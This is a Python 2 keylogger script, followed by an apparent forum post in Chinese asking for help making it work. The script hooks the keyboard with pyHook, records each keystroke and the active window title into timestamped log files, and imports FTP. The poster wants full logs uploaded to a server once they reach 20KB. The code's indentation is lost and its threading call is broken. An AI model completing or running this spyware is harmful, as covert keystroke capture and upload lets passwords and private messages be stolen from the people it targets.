import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
当文件大小超过 20KB 时,第一个代码块 def fi() 正在创建一个新文件。第二个块是键盘记录器,并将密钥记录在文件中。我是 python 和多线程的新手。现在当我运行这段代码时。我只能让键盘记录器工作,没有文件形成,也没有创建日志。请帮我解决这个问题。
- 我需要从这段代码中创建一个以当前时间命名的日志文件并将所有关键字记录到文件中。然后如果文件变得超过20KB,那么它应该将旧文件上传到服务器并使用新的当前时间制作一个新文件。我是 python 新手,这就是为什么我不确定这段代码有什么问题以及它没有做什么。*